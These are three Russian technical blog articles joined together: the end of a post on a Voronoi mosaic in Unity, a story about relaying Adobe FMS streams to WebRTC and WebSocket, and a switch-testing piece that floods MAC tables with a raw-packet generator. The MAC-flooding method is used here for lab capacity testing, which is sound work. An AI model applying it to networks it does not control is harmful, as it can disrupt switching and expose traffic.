Идея в том, что диаграмма Вороного — очень локальная штука, поэтому можно эмулировать тор, сделав несколько копий исходных точек во все стороны. Но вот релаксация Ллойда уж точно локальной не является, и чем больше количество итераций, тем больше нужно делать копий (увеличивать значение tiles).
Да и координаты центров не всегда получается корректно проверить, все-таки, плавающая запятая. Поэтому иногда, очень редко, на краешке мозаики не хватает какого-нибудь элемента.
*Найдёте повторения?*
**Подсказка**
Итак, получается примерно такой кусочек мозаики:
*Мозаика отрендерена на текстуре средствами библиотеки.*
Делаю небольшой ScriptableObject, хранящий массив рассчитанных тайлов и редактор с большой кнопкой "recalculate tiles".
> Проблемы с редкими дырами из-за float'а в проверках на попадание полигона в тайл я решил перегенерированием некорректных тайлов. Т.к. я делаю предрассчет один раз, руками в редакторе, могу себе такое позволить. :)
Теперь бы выводить эти тайлы на экран!
*Todo: генерировать треугольники тайлов мозаики.*
Level 5.2.2. Рендеринг тайлов.
------------------------------
Допустим, что пятно будет идеально круглое и мне известны его координаты и радиус. Нужно как-то получить все полигоны, которые находятся внутри этого пятна. Кроме того, пятно может появится в любых координатах, так что мозаику нужно "виртуально" тайлить.
Для проверки алгоритма создал вот такую "мозаику", с ней проще будет найти проблемы:
*Поддельная мозаика*
Допустим, у меня мозаика генерируется из 512 точек. Значит, на выходе получится 512 полигонов и проверять каждый на пересечение с окружностью — слишком дорого. Поэтому храню мозаику в виде небольших прямоугольных блоков:
*Визуализация разделения на блоки.*
Зная площадь мозаики и количество полигонов, можно получить оптимальное количество блоков, при котором скорость поиска будет максимальна.
Итак, логика поиска такая:
Дана окружность с координатами *center* и радиусом *radius*. Нужно найти все полигоны, попадающие в окружность.
1. Считаем из AABB окружности координаты первого и последнего блоков, попадающих в AABB (Значения координат могут быть меньше 0 или больше rows — 1 из-за тайлинга).
```
var rectSize = size / (float)rows;
int minX = Mathf.FloorToInt((center.x - radius) / rectSize);
int minY = Mathf.FloorToInt((center.y - radius) / rectSize);
int maxX = Mathf.CeilToInt((center.x + radius) / rectSize);
int maxY = Mathf.CeilToInt((center.y + radius) / rectSize);
```
2. Проходим по каждому блоку от min до max;
3. Отбрасываем блоки, не пересекающиеся с окружностью;
4. Получаем реальные координаты блока внутри тайла:
```
int innerX = ((x + rows) % rows + rows) % rows;
int innerY = ((y + rows) % rows + rows) % rows;
```
5. Проходим по всем полигонам в блоке;
6. Добавляем в список те полигоны, центры которых принадлежат окружности (с учётом смещения).
Итак, теперь можно одним запросом получить данные обо всех полигонах, попадающих в заданную окружность:
*Запрос полигонов. Тестовая мозаика изменена на более наглядную*
Все полигоны диаграммы Вороного выпуклы по определению, поэтому триангулировать их и добавить в меш — проще простого. Делаю первый тест рендеринга:
Выглядит, мягко говоря, скучно. Более того, если два пятна создаются с примерно на расстоянии одного тайла, например, {0, 0} и {1, 1}, бывают заметны повторения.
Спасибо любимой, она предложила хорошую модификацию этого алгоритма:
1. Убрать релаксацию Ллойда, сделав полигоны более резкими;
2. Заменить многоугольники на треугольники;
3. Добавить больше случайности в расположение треугольников.
А теперь в картинках:
Пусть у нас есть вот такая мозаика:
*Points = 500, Relax = 5*
В ней бывают видны повторы, а ещё она очень однообразна.
Убираем релаксацию Ллойда:
*Points = 500, Relax = 0*
А теперь смешиваем все карты: считаем *полигоном* не многоугольник, сгенерированные в диаграмме Вороного, а треугольники, получаемые триангуляцией для рендеринга:
*Triangles, Points = 500, Relax = 0*
Теперь избавляемся от видимых паттернов. Полигоны, полученные из диаграммы Вороного, фактически, однонаправленны: нулевая вершина сверху, следующие вершины идут по часовой стрелке. Из-за этого чётко прослеживается "направление", как будто бумагу скомкали по диагонали и получилась мятая поверхность со складками, вытянутыми в одну сторону:
*Выделены нулевые треугольники в каждом полигоне диаграммы.*
Всё, что требуется — создавать треугольники начиная со случайной вершины полигона. Дополнительным плюсом становится то, что после триангуляции исчезают все повторы: в каждом тайле полигон триангулируется по-разному:
*Паттерны перестали быть заметны.*
Резюмирую: теперь у меня есть бесконечная мозаика, в которой не видно повторов. Я могу делать запрос на получение треугольников этой мозаики в определённом радиусе. Судя по всему, основа для пятен "крови" готова.
*Todo: придумать конкретную геометрию пятен и замостить её мозаикой.*
Заключение.
-----------
Проект развивается, и обрастает эффектами. Я отрезаю лишнее на уровне прототипа и пытаюсь упрощать всё донельзя — как геймплей, так и визуальную часть. Тем не менее, остается еще несколько эффектов (и их полировка), без которых игра смотрится незаконченной.
Итак, ещё несколько выводов:
1. Процедурные эффекты рулят. Иногда классические алгоритмы (вроде диаграммы Вороного) не очень подходят, но после напильника и лобзика приобретают нужные качества;
2. *Закон Хофштадтера: Любое дело всегда длится дольше, чем ожидается, даже если учесть закон Хофштадтера.* В общем, разработка проекта затягивается. :)
3. Unity3D очень полезна, но иногда ставит палки в колёса. Если ваши кастомные постэффекты перестали работать — посмотрите во frame debug, может, после обновления Unity3D решила дополнить отрисовку своими эффектами (и включила на камере msaa).
В следующей статье я планирую закончить рассказ про рендеринг пятен, описать эффект следов, особенности редактора карт и загрузки уровней.
Спасибо за внимание, жду ваших комментариев и feedback'a! | https://habr.com/ru/post/326840/ | null | ru | null |
# Миграция сервиса виртуальных компаньонок на WebRTC
Это история одного проекта по видеостримингу.
### Интересный клиент
Я сидел перед монитором уже битый час, а может и два. Все началось со ссылки на чей-то твиттер, которую коллега любезно закинул мне в скайп. Потом случайно открыл новостной сайт, потом Facebook, за это время успела появиться еще пара новостей… В общем, спина уже затекла и пора было пойти размяться. В офисе было прохладно, тихо работали кондиционеры. Выходить на уличную жару совсем не хотелось и, разогнувшись, я доковылял до ближайшего кофейного автомата. Где-то на ресепшене прозвенел колокольчик.
Через пару минут я увидел Ольгу, сопровождающую джентельмена азиатской наружности. На вид ему было около пятидесяти. На слегка морщинистой голове восседала серая шляпа с короткими полями. Они явно шли ко мне. Поравнявшись с кофейным автоматом, который уже журчал в стаканчик моим капучино, джентельмен произнес на ломаном русском: *Здраствуйте, я относительный проекта WebRTC. Моя зовут Суконако*, и протянул руку. Что привело сюда этого японца, подумал я, ответив на рукопожатие, и пригласил гостя в свой кабинет. Дальше нам пришлось перейти на английский язык, который нам обоим был более понятен.
### Собираем требования
Я: *Итак, чем могу быть полезен?*
С: *Мы работаем с 2000 года в стриминге и Flex для большого количества пользователей. Мы используем Adobe Flash Media Server (FMS) и сейчас хотели бы использовать WebRTC.*
Я: *Можно подробнее о том, чего вы хотели бы достичь использованием WebRTC-сервера?*
С: *Нам требуется обычный медиасервер, который может принимать видеопотоки от одного пользователя и передавать их другим пользователям. Мы хотим видеочат.*
Я: *Без проблем, мы можем сделать решение на базе одного из WebRTC-серверов.*
С: *Adobe FMS нас полностью устраивает. Мы хотели бы расширить круг наших пользователей на WebRTC, не убирая FMS. Он работает хорошо.*
В руках Суконако появился планшет, он подвинул его мне и ткнул пальцем в следующую схему:
C: *Flex App – это доктор, Flex Apps – это пациенты, доктор использует веб камеру и консультирует сразу нескольких пациентов. Один из пациентов может запросить у доктора приватную консультацию, и тогда доктор остается один на один для приватной консультации с пациентом. В этот момент остальные пациенты не могут общаться с доктором и не видят его.*
Странно, подумал я. О чем доктор может одновременно консультировать пациентов. Один жалуется о том, что болит ухо, второй сетует на гланды, потом тот, что с гландами нажимает на кнопку и переходит в режим приватной консультации. Однако принцип понятен. Сосредоточимся на технической стороне вопроса.
Я: *Т.е. в результате устанавливается двухсторонняя видеосвязь доктора и пациента?*
С: *Не совсем. Пациент всегда видит доктора, но доктор может не видеть пациента. По умолчанию видео пациента отключено.*
Я: *Значит видео одностороннее – от доктора к пациенту?*
С: *В большинстве случаев да. Но иногда пациенты желают показать свое видео доктору. Это случается нечасто.*
Я: *Все понятно. Значит нужно чтобы и доктор и пациент могли использовать WebRTC-браузер, например Firefox или Google Chrome, а также IE, который будет работать через FMS. Верно?*
С: *Почти так. Все доктора используют разработанное нами стриминг-приложение на Flex. Пациенты же должны использовать либо наше приложение либо WebRTC.*
Я: *Т.е. в идеале, ваше приложение должно выглядеть так?*
И набросал схему.
С: *Да, верно. Это должно работать именно так. С одной стороны нативное Flex-приложение, а с другой WebRTC-браузер. Нас интересуют прежде всего браузеры на Android-смартфонах и iOS-устройствах. Вам наверное известно, что Flash так или иначе присутствует на всех десктопных браузерах: IE, Chrome, Firefox, Safari, но его нет на Android и iOS. Мы хотели бы сделать наш сервис доступным на мобильных браузерах и сохранить то, что работает хорошо на десктопах, т.е. FMS.*
Я: *На Android-браузерах WebRTC будет работать, а на iOS с этим проблема – WebRTC в iOS-браузерах не работает из-за ограничений платформы. Т.е. мы не сможем доставить WebRTC видеопоток на iOS и не можем стримить видео с вебкамеры iOS-браузера.*
C: *Постойте, мне известно что Safari не поддерживает WebRTC, но его поддержка есть в Google Chrome.*
Я: *Да, но не в случае iOS. Там Chrome натыкается на технические ограничения платформы и не имеет таких возможностей работы с WebRTC-видео, как на десктопе. Т.е. iOS браузер в данном случае не подходит. Почему бы вам не выгрузить собственное приложение в Apple App Store? Тогда пользователям iOS нужно будет всего лишь установить приложение и использовать чистый WebRTC, тот, что используется в Google Chrome?*
С: *К сожалению, мы не можем выгрузить приложение в App Store по внутренним причинам. Кроме этого, мы хотели бы дать нашим пользователям (пациентам) возможность не устанавливать дополнительных приложений на свой iPhone или iPad, а работать прямо из браузера. Какие у нас есть варианты?*
В этот момент я подумал, о «внутренних причинах», которые не позволяют опубликовать приложение в App Store. Возможно область медицинских консультаций регулируется законодательством, и это действительно не так просто, выкатить в App Store приложение такого рода.
Вариантов в действительности было не много и лучшим из них было нативное приложение с поддержкой WebRTC. iOS Safari, как известно поддерживает HLS (Apple HTTP Live Streaming), но этот вариант был отброшен, т.к. в общении доктора с пациентом предполагался определенный реалтайм и живое общение, для которого HLS совершенно не подходит при задержке около 20 секунд.
Оставался последний вариант: вебсокеты. Websockets сейчас поддерживается почти во всех браузерах – это фактически TCP-канал, по которому можно доставить видео с задержкой сравнимой с RTMP, т.е 3 секунды, а не 20. С доставкой понятно. Еще бы воспроизвести этот поток в HTML5 элементе и было бы все замечательно.
Я: *Вариант, похоже, только один – вебсокеты. Причем в этом случае пациенты не смогут отправить свое видео на сервер. Возможна только односторонняя доставка от доктора к пациенту. Можно попробовать HLS, но там задержка больше 20 секунд и вероятно вам это не подойдет.*
С: *Хорошо. Правильно ли я понял, что мы сможем играть живые потоки с FMS прямо на iOS Safari браузере? Пусть без WebRTC, но с небольшой задержкой, сравнимой с RTMP?*
Я: *Да, абсолютно верно. Но нам нужно некоторое время это проверить. Давайте договоримся, скажем на понедельник, и я покажу вам демо.*
С: *Мне бы хотелось увидеть возможность интеграции FMS одновременно с WebRTC и с Websockets, чтобы быть уверенным, что это будет работать на iOS и на Android. Возможно ли так сделать?*
Я: *Да, думаю все получится.*
С: *Спасибо за консультацию. В понедельник зайду в 10, если не возражаете и обсудим все вопросы, уже имея демо.*
Я: *Да, конечно, к этому времени все будет готово.*
### Ищем решение
Как видно из разговора, требования немного изменились и теперь предстояло прикрутить к Adobe AMS два способа доставки: WebRTC для браузеров на Android и Websockets для браузера Safari под iOS. Осталось найти недостающий элемент, который позволит построить это демо и связать все участвующие в нем технологии и протоколы.
Проводив японского гостя, я первым делом отправился смотреть спецификацию Adobe AMS. Нашел в ней много интересного, кроме слов WebRTC и Websocket.
Дальше, не долго думая, забил в Гугл три нужных кейворда: rtmp, webrtc и websockets. Гугл выплюнул несколько релевантных сайтов. Пригодными, как оказалось были всего два: проприетарный проект [Flashphoner](http://flashphoner.com) и описание опенсорсного прототипа с сайта [Phoboslab](http://phoboslab.org/log/2013/09/html5-live-video-streaming-via-websockets)
### Первый кандидат
Начать решил с Phoboslab, где была во всех красках описана проблема воспроизведения стрима в iOS Safari и предлагалось решение, очень похожее на опенсорсное.
Решение строится на ffmpeg, node.js и клиентском javascript для декодирования и воспроизведения видеопотока. Все компоненты были действительно опенсорсные и схема выглядела многообещающей.
Я поднял виртуальный сервер на DO, собрал ffmpeg и установил node.js. Все это заняло около двух часов.
Видео в iOS Safari действительно играло, и играло не плохо. Мой iPhone5 слегка грелся, но JavaScript стабильно лопатил видеотрафик с Websocket и показывал его на web-странице.
Фактичеки происходило декодирование стрима на JavaScript и последующая отрисовка в элементе страницы браузера iOS Safari. Оставались открытыми следующие вопросы:
— Как забрать стрим с FMS
— Как добавить к стриму звук
— Что насчет WebRTC
И здесь меня ждало некоторое разочарование. Оказалось, что JavaScript-плеер играет (отрисовывает) только видео. Для аудио пришлось бы пускать дополнительный поток, после чего их нужно как-то синхронизировать. Но данное решение этого не предусматривало. Таким образом, данное решение не подходило для передачи видео от доктора из-за отсутствия звука.
### Второй кандидат
Следующим подопытным был Web Call Server с обещанной поддержкой RTMP, WebRTC, Websocket протоколов. Осталось проверить, применима ли поддержка данных протоколов в моем конкретном случае и как это работает.
Первым делом решил проверить конвертацию RTMP видеопотока в Websocket, по аналогии с предыдущим тестом. Ведь если это получится сделать, то далее можно перенаправить RTMP поток с FMS на Web Call Server и тем самым решить одну из задач.
Я вооружился iPhone-ом и открыл одну из демо-страниц, где предлагалось попробовать сделать это с демо-сервера. По заверениям техподдержки, Web Call Server можно быстро установить на свою Linux-систему, но это заняло бы некоторое время, а демо давало возможность сразу понять работает это или нет.
Демо-интерфейс представлял собой обычное Flash-приложение с неказистым дизайном и простым функционалом, под названием Flash Streaming.
Из этого Flash приложения можно подключиться к серверу по протоколу RTMP и опубликовать стрим с веб-камеры. Опубликовать (Publish) – значит захватить видеопоток с веб-камеры браузера с помощью Flash Player и отправить данные на сервер в реальном времени по протоколу RTMP.
Судя по статусам ‘Connected’ и ‘Publishing’, соединение было успешно установлено и стрим с веб-камеры отправлялся на сервер. Дабы не светить в стриме своим фейсом, я использовал виртуальную камеру и серию из пятого (?) сезона Game of Thrones.
Далее осталось увидеть и услышать это видео на iPhone в браузере Safari. Для этого рекомендовалось использовать отдельный плеер под названием WS Player Minimal.
На плеере удалось получить приличную картинку и звук без искажений или рассинхрона.
Пожалуй, я достиг некоторого прогресса в своем ресерче:
* Удалось протестировать доставку стрима RTMP-Websocket
* Стрим был со звуком и видео и корректно отображался на Safari браузере
Осталось проверить играет ли стрим в WebRTC и можно было переходить к интеграции с Adobe FMS. Для проверки этого же стрима c WebRTC, я открыл демо Streamer And Player Minimal в браузере Chrome и выполнил аналогичную нехитрую процедуру, вставив имя потока, и нажав на воспроизведение.
Какаова же была моя радость, Кхалиси!
Теперь в моем арсенале была доставка RTMP потока на Chrome, а значит на Android по WebRTC, и на iOS Safari по вебсокетам. И в том и в другом случае картинка была вполне плавной, со звуком и теоретически годилась для развертывания консалтингового сервиса.
Следующим вопросом была работа с FMS. Понятно, что RTMP протокол должен быть единым для всех реализаций, но предстояло выяснить а) Может ли FMS перенаправить RTMP стрим на Flashphoner и б) примет ли Flashphoner этот стрим, как принимал его с Flash в тестах выше.
### Интеграция с Adobe Media Server
С FMS пришлось повозиться. Его установка и тесты заняли у меня пару часов. Первое, что я сделал, это протестировал FMS с помощью FMLE и убедился что FMS я установил и настроил правильно, и RTMP видеопотоки ходят на нем без каких-либо препятствий.
Следующим шагом была настройка перенаправления RTMP потока на Flashphoner. Здесь пришлось немного напрячь мозг, вооружиться документацией Adobe по Action Script и заимплементить такой скрипт: main.asc.
```
var wcsServer = "wcs5-eu.flashphoner.com";
var netConnections = new Object();
var streams = new Object();
application.onConnect = function (client){
trace("onConnect "+client.id);
var nc = new NetConnection();
var obj = new Object();
obj.login = "Alice";
obj.appKey = "flashChatApp";
nc.connect("rtmp://"+wcsServer+":1935",obj);
nc.onStatus = function(info){
trace("onStatus info.code: "+info.code);
if (info.code=="NetConnection.Connect.Success"){
trace("connection opened "+wcsServer);
}
}
netConnections[client.id]=nc;
return true;
}
application.onDisconnect = function (client){
trace("onDisconnect "+client.id);
var nc = netConnections[client.id];
if (nc){
nc.close();
trace("disconnected "+client.id);
}
}
application.onPublish = function(client, myStream){
trace("onPublish "+myStream.name);
var nc = netConnections[client.id];
ns = new NetStream(nc);
ns.onStatus = function(info){
if (info.code == "NetStream.Publish.Start"){
trace("It is now publishing "+myStream.name);
}
}
ns.attach(myStream);
ns.publish(myStream.name);
streams[myStream.name]=ns;
trace("publish stream "+myStream.name+" to: "+wcsServer);
}
application.onUnpublish = function(client, myStream){
trace("onUnpublish "+myStream.name);
var ns = streams[myStream.name];
if (ns){
ns.publish(false);
trace("unpublished "+ns.name);
}
}
```
Скрипт достаточно простой и занимается тем, что делегирует входящие на FMS коннекты и видеопотоки Flashphoner-серверу. Например, при получении коннекта от приложения в методе onConnect, создается коннект к Flashphoner-серверу по RTMP.
При получении видеопотока onPublish, этот же видеопоток публикуется на Flashphoner.
При дисконнектах и остановке стримов, соответствующие вызовы делегируются для освобождения ресурсов. Так у меня получился мост, по которому будет прокидываться трафик между FMS и Flashphoner для дальнейшей раздачи по WebRTC и Websockets.
Для тестирования этой композиции я взял уже знакомый Flash-интерфейс Flash Streaming. Единственная разница была в том, что нужно было указать RTMP адрес FMS-сервера и далее положиться на скрипт main.asc, который делегирует этот видеопоток Flashphoner. В моем случае этим адресом был rtmp://my-fms:1935
При тестировании пришлось изрядно подебажить серверный скрипт main.asc от незнания Action Script и серверного программирования под FMS, но это все осталось в прошлом, и выше в листинге доступна рабочая на тот момент версия этого скрипта. FMS не подвел и передал RTMP стрим по назначению, что и позволило успешно проиграть его в Chrome и далее в Safari.
### Установка Web Call Server
В итоге демо было готово. Оставалось поставить Web Call Server на своей системе чтобы избежать сбоев в момент презентации. Мало ли чего они там могут накрутить до понедельника.
На сайте разработчика нашлась инструкция по установке, состоящая из пяти пунктов. Пятый пункт с установкой SSL-сертификатов я опустил, т.к. пока не планировал использовать WebRTC-стриминг с камеры и микрофона.
1. Download Web Call Server 5
2. Install using the 'install.sh' script
3. Launch using 'service webcallserver start'
4. Open the web-interface <http://host:9091> and activate your license
Установка прошла нормально. Я предусмотрительно отключил на тестовом сервере Firewall (service iptables stop) чтобы исключить проблемы с непрохождением трафика.
Через минуту после запуса сервера получилось открыть веб-интерфейс с админкой <http://host:9091>, активировать тестовую лицензию и получить у себя на Ubuntu демо-сервер, похожий на этот:
Дополнительный прогон тестов позволил убедиться, что схема работает и в моем окружении. С чувством выполненного дела, я завершил рабочий день и поставил напоминалку – еще раз проверить тесты в понедельник в 9:00 перед приходом Суконако.
Как проходила миграция и чем закончилось дело, могу написать во второй части, если будет интересно.
Ссылки на используемые инструменты:
1. FMS ([Flash Media Server](http://www.adobe.com/products/adobe-media-server-professional.html)) он же AMS (Adobe Media Server) – RTMP медиа сервер.
2. DO ([Digital Ocean](http://digitalocean.com/)) – хостинг виртуальных серверов.
3. WCS ([Flashphoner Web Call Server](http://flashphoner.com/)) – WebRTC, Websocket медиа сервер.
4. FMLE ([Adobe Flash Media Live Encoder](http://www.adobe.com/ru/products/flash-media-encoder.html)) – клиент для проверки RTMP-соединения с сервером.
5. [Phoboslab](http://phoboslab.org/log/2013/09/html5-live-video-streaming-via-websockets) — опенсорсный прототип Websocket стриминга на Safari в iOS. | https://habr.com/ru/post/302814/ | null | ru | null |
# Про MAC-таблицы в коммутаторах
Привет, Хабр!
Случается так, что иногда хочется отойти от скупой теории и перейти к практике. Сейчас как раз такой случай. Желание возникло на фоне воспоминаний того, как мы делали [коммутатор](http://metrotek.spb.ru/x10-24.html). Он — вещь довольно простая, делов-то — пересылай пакеты с порта на порт, да статистику веди. Все оказалось немного сложнее.
Вы когда нибудь задумывались над тем, как происходит коммутация? На курсах говорят, что пакет из порта (А) анализируется и пересылается согласно таблице соответствия в порт (Б) назначения, или во все порты, кроме (А) источника, если запись не найдена. Остановимся на таблице и разберем как происходит ее заполнение.
Самый простой способ — записывать адреса в один столбец, а соответствующие порты в другой, т.е. используется линейный алгоритм поиска, асимптотическая сложность которого O(n). Худший случай для алгоритма — отсутствие искомого ключа, поскольку требуется просмотреть все ключи, и в коммутации встречается очень часто: включение нового клиента, включение или перезагрузка устройства. На самом деле, всевозможные оптимизации и хитрые алгоритмы, применяемые в чипах сетевых устройств, заточены либо для экономии памяти чипа, либо для удовлетворения требований по скорости обработки.
Используемый же большинством производителей способ — хеш-таблица. Смысл в том, что при вычислении хеш-функции от MAC-адреса на выходе имеем сразу адрес в памяти (индекс), обратившись по которому вычитываем номер порта. Если ничего не вычитали, то пишем по этому адресу текущий порт. Сложность алгоритма поиска O(1). Правда существует проблема [коллизий](http://habrahabr.ru/post/155265/), но при правильно подобранной хеш-функции она минимизируется. Остается лишь проверить коллизионную стойкость устройства. Наглядный пример такой таблицы и частичной коллизии:
У большинства записей хеш-индексы не совпадают, что в результате дает мгновенное чтение по индексу, но у Jack и Andrew случилось так, что хеш совпал и проявилась коллизия. В этом случае для разрешения коллизии производится линейный поиск по вложенному списку, что увеличивает задержку, но происходит это в единичных случаях.
Проверку можно провести, пополняя хеш-таблицу новыми записями. Записи могут быть последовательными или случайным, а так же принадлежать специальным типам.
Специальные типы MAC-адресов:
* broadcast (FF:FF:FF:FF:FF:FF)
* multicast (младший бит первого октета равен 1)
Не все адреса должны записываться в таблицу. Например туда не попадают широковещательный и мультикаст адреса. В результате я написал небольшой [генератор](https://github.com/abehterev/etherraw) raw-пакетов, которому передаются параметры:
```
send_pkt -i -n
-i interface for packet sending
-n number of MAC's
-s work in slow mode
-r generate random Src MAC for each new packet
-a set random for all octets
```
В обычном режиме генерируются пакеты с последовательными MAC-адресами, изменяются последние два октета, что дает 65536 комбинаций и для большинства коммутаторов более чем достаточно (всегда можно увеличить). Первый октет выставлен в 0x00, т.е. адреса юникастовые. Случайные адреса генерируются в двух режимах:
* первый октет 0x00, остальные случайны
* все октеты случайны
Предусмотрен запуск в медленном режиме, например для тестирования aging-time.
Интересно как на флуд отреагирует оборудование: проверим в двух режимах (последовательном и случайном) сколько адресов попадут в таблицу. У меня в тестовой стойке 5 коммутаторов:
* cisco 3750G-16TD-S (12288 MAC)
* zyxel gs-3012f (16384 MAC)
* d-link dgs-3426 (8192 MAC)
* metrotek x10-24 (16368 MAC)
 Специально никто их не отбирал — просто используются для различных целей, вроде проверки на совместимость STP (про это вообще можно отдельную статью написать). Пойдем по порядку.
#### cisco 3750G-16TD-S
Информация о платформе:
> cisco-01-TEST#sh ver
>
> Cisco IOS Software, C3750 Software (C3750-ADVIPSERVICESK9-M), Version 12.2(46)SE, RELEASE SOFTWARE (fc2)
>
> Copyright 1986-2008 by Cisco Systems, Inc.
>
> Compiled Thu 21-Aug-08 15:43 by nachen
>
> Image text-base: 0x00003000, data-base: 0x01940000
>
>
>
> ROM: Bootstrap program is C3750 boot loader
>
> BOOTLDR: C3750 Boot Loader (C3750-HBOOT-M) Version 12.2(18)SE1, RELEASE SOFTWARE (fc2)
>
>
>
> cisco-01-TEST uptime is 4 weeks, 5 days, 1 hour, 11 minutes
>
> System returned to ROM by power-on
>
> System image file is «flash:c3750-advipservicesk9-mz.122-46.SE»
>
>
>
> This product contains cryptographic features and is subject to United
>
> States and local country laws governing import, export, transfer and
>
> use. Delivery of Cisco cryptographic products does not imply
>
> third-party authority to import, export, distribute or use encryption.
>
> Importers, exporters, distributors and users are responsible for
>
> compliance with U.S. and local country laws. By using this product you
>
> agree to comply with applicable laws and regulations. If you are unable
>
> to comply with U.S. and local laws, return this product immediately.
>
>
>
> A summary of U.S. laws governing Cisco cryptographic products may be found at:
>
> [www.cisco.com/wwl/export/crypto/tool/stqrg.html](http://www.cisco.com/wwl/export/crypto/tool/stqrg.html)
>
>
>
> If you require further assistance please contact us by sending email to
>
> export@cisco.com.
>
>
>
> cisco WS-C3750G-16TD (PowerPC405) processor (revision F0) with 118784K/12280K bytes of memory.
>
> Processor board ID CSG0921P0EB
>
> Last reset from power-on
>
> 1 Virtual Ethernet interface
>
> 16 Gigabit Ethernet interfaces
>
> 1 Ten Gigabit Ethernet interface
>
> The password-recovery mechanism is enabled.
>
>
>
> 512K bytes of flash-simulated non-volatile configuration memory.
>
> Base ethernet MAC Address: 00:14:1C:D7:33:80
>
> Motherboard assembly number: 73-9143-08
>
> Power supply part number: 341-0045-01
>
> Motherboard serial number: CAT091916AM
>
> Power supply serial number: LIT09130942
>
> Model revision number: F0
>
> Motherboard revision number: A0
>
> Model number: WS-C3750G-16TD-S
>
> System serial number: CSG0921P0EB
>
> Top Assembly Part Number: 800-24591-04
>
> Top Assembly Revision Number: A0
>
> CLEI Code Number: COM1D10ARB
>
> Hardware Board Revision Number: 0x01
>
>
>
> Switch Ports Model SW Version SW Image
>
> — — — — —
>
> \* 1 17 WS-C3750G-16TD 12.2(46)SE C3750-ADVIPSERVICESK9-M
>
>
>
> Configuration register is 0xF
>
>
Странно, но пишет, что у нее памяти всего на 5507 адресов:
> cisco-01-TEST#show mac address-table count
>
>
>
> Total Mac Address Space Available: 5507
>
>
Настройки тестового порта:
> interface GigabitEthernet1/0/1
>
> switchport access vlan 20
>
> switchport mode access
>
> end
Пустая таблица адресов для тестового vlan:
> cisco-01-TEST#sh mac- vl 20
>
> Mac Address Table
>
> — Vlan Mac Address Type Ports
>
> — — — -----
После пробного теста (*./send\_pkt -i eth0 -n 10*) наблюдаем следующее:
> cisco-01-TEST#show mac address-table count
>
>
>
> Mac Entries for Vlan 20:
>
> — Dynamic Address Count: 11
>
> Static Address Count: 0
>
> Total Mac Addresses: 11
>
>
>
> Total Mac Address Space Available: 5496
>
>
>
> cisco-01-TEST#sh mac- vl 20
>
> Mac Address Table
>
> — Vlan Mac Address Type Ports
>
> — — — — 20 0001.0203.0001 DYNAMIC Gi1/0/1
>
> 20 0001.0203.0002 DYNAMIC Gi1/0/1
>
> 20 0001.0203.0003 DYNAMIC Gi1/0/1
>
> 20 0001.0203.0004 DYNAMIC Gi1/0/1
>
> 20 0001.0203.0005 DYNAMIC Gi1/0/1
>
> 20 0001.0203.0006 DYNAMIC Gi1/0/1
>
> 20 0001.0203.0007 DYNAMIC Gi1/0/1
>
> 20 0001.0203.0008 DYNAMIC Gi1/0/1
>
> 20 0001.0203.0009 DYNAMIC Gi1/0/1
>
> 20 0001.0203.000a DYNAMIC Gi1/0/1
>
> 20 50af.7312.8435 DYNAMIC Gi1/0/1
>
>
Одиннадцатый адрес — это адрес нетбука, с которого запускался тест. Доступное место для адресов уменьшился.
Сгенерируем заведомо большее, чем заявлено, количество адресов (12288), я указал 13000:
> cisco-01-TEST#show mac address-table count
>
>
>
> Mac Entries for Vlan 20:
>
> — Dynamic Address Count: 4281
>
> Static Address Count: 0
>
> Total Mac Addresses: 4281
>
>
>
> Total Mac Address Space Available: 1219
Как видно, заполнить всю таблицу удалось не сразу и попали далеко не все адреса, вот вам и колизионность. Пробую еще раз:
> cisco-01-TEST#show mac address-table count
>
>
>
> Mac Entries for Vlan 20:
>
> — Dynamic Address Count: 5724
>
> Static Address Count: 0
>
> Total Mac Addresses: 5724
>
>
>
> Total Mac Address Space Available: 192
>
>
И медленный режим (максимум, что удалось вместить):
> Mac Entries for Vlan 20:
>
> — Dynamic Address Count: 5945
>
> Static Address Count: 0
>
> Total Mac Addresses: 5945
>
>
>
> Total Mac Address Space Available: 3
>
>
>
> cisco-01-TEST#show mac address-table count
>
>
>
> Рандомный тест:
>
> cisco-01-TEST#sh mac address-table count
>
>
>
> Mac Entries for Vlan 20:
>
> — Dynamic Address Count: 4417
>
> Static Address Count: 0
>
> Total Mac Addresses: 4417
>
>
>
> Total Mac Address Space Available: 1499
Рандомный медленный тест:
> cisco-01-TEST#sh mac address-table count
>
>
>
> Mac Entries for Vlan 20:
>
> — Dynamic Address Count: 5947
>
> Static Address Count: 0
>
> Total Mac Addresses: 5947
>
>
>
> Total Mac Address Space Available: 1
>
>
**Итог**
Получается, что заявленная производителем характеристика не соответствует действительности (если я не прав, например влияет IOS и для него есть особые заметки, дайте знать с пруфом). Разница почти в два раза. Даже если опираться на сведения, выводимые самой системой (5507), то им тоже не стоит верить: в быстром режиме таблица недозаполнилась на 1219 адресов, а в медленном постоянно перестраивалась и показания суммарного счетчика менялись, от режима генерации (последовательно/случайно) не зависит.
#### ZyXEL GS-3012F
Информация о платформе:
> zyxel-01-T# show version
>
> Current ZyNOS version: V3.80(LR.2) | 03/04/2008
>
>
>
> zyxel-01-T# show system-information
>
> System Name: zyxel-01-TEST
>
> System Contact:
>
> System Location:
>
> Ethernet Address: 00:19:cb:2d:d8:49
>
> ZyNOS F/W Version: V3.80(LR.2) | 03/04/2008
>
> RomRasSize: 3234952
>
> System up Time: 837:37:39 (11f939d5 ticks)
>
> Bootbase Version: V3.00 | 01/14/2005
>
> ZyNOS CODE: RAS Mar 4 2008 11:51:18
>
> Product Model: GS-3012F
Генерируем с превышением 17000 (поддерживается 16384):
> zyxel-01-T# show mac-count
>
> No: 16312
Медленный режим не использовался, т.к. даже в быстром таблица заполнена практически полностью.
Рандомный тест:
> zyxel-01-T# show mac-count
>
> No: 14331
**Итог**
В целом, хорошие результаты. Коммутатор не “теряет” адреса, генерируемые на скорости порта. Размер таблицы и ее заполнение соответствует заявленному.
#### D-Link DGS-3426
Информация о платформе:
> DGS-3426:admin#show tech\_support
>
> Command: show tech\_support
>
>
>
> #-------------------------------------------------------------------------------
>
> # DGS-3426 Gigabit Ethernet Switch
>
> # Technical Support Information
>
> #
>
> # Firmware: Build 2.70.B56
>
> # Copyright 2010 D-Link Corporation. All rights reserved.
>
> #-------------------------------------------------------------------------------
>
>
>
> \*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\* Basic System Information \*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
>
>
>
> [SYS 2000-1-1 00:07:51]
>
>
>
> Boot Time: 31 Dec 1999 23:59:59
>
> RTC Time: 2000/01/01 00:07:51
>
> Boot PROM Version: Build 1.00-B13
>
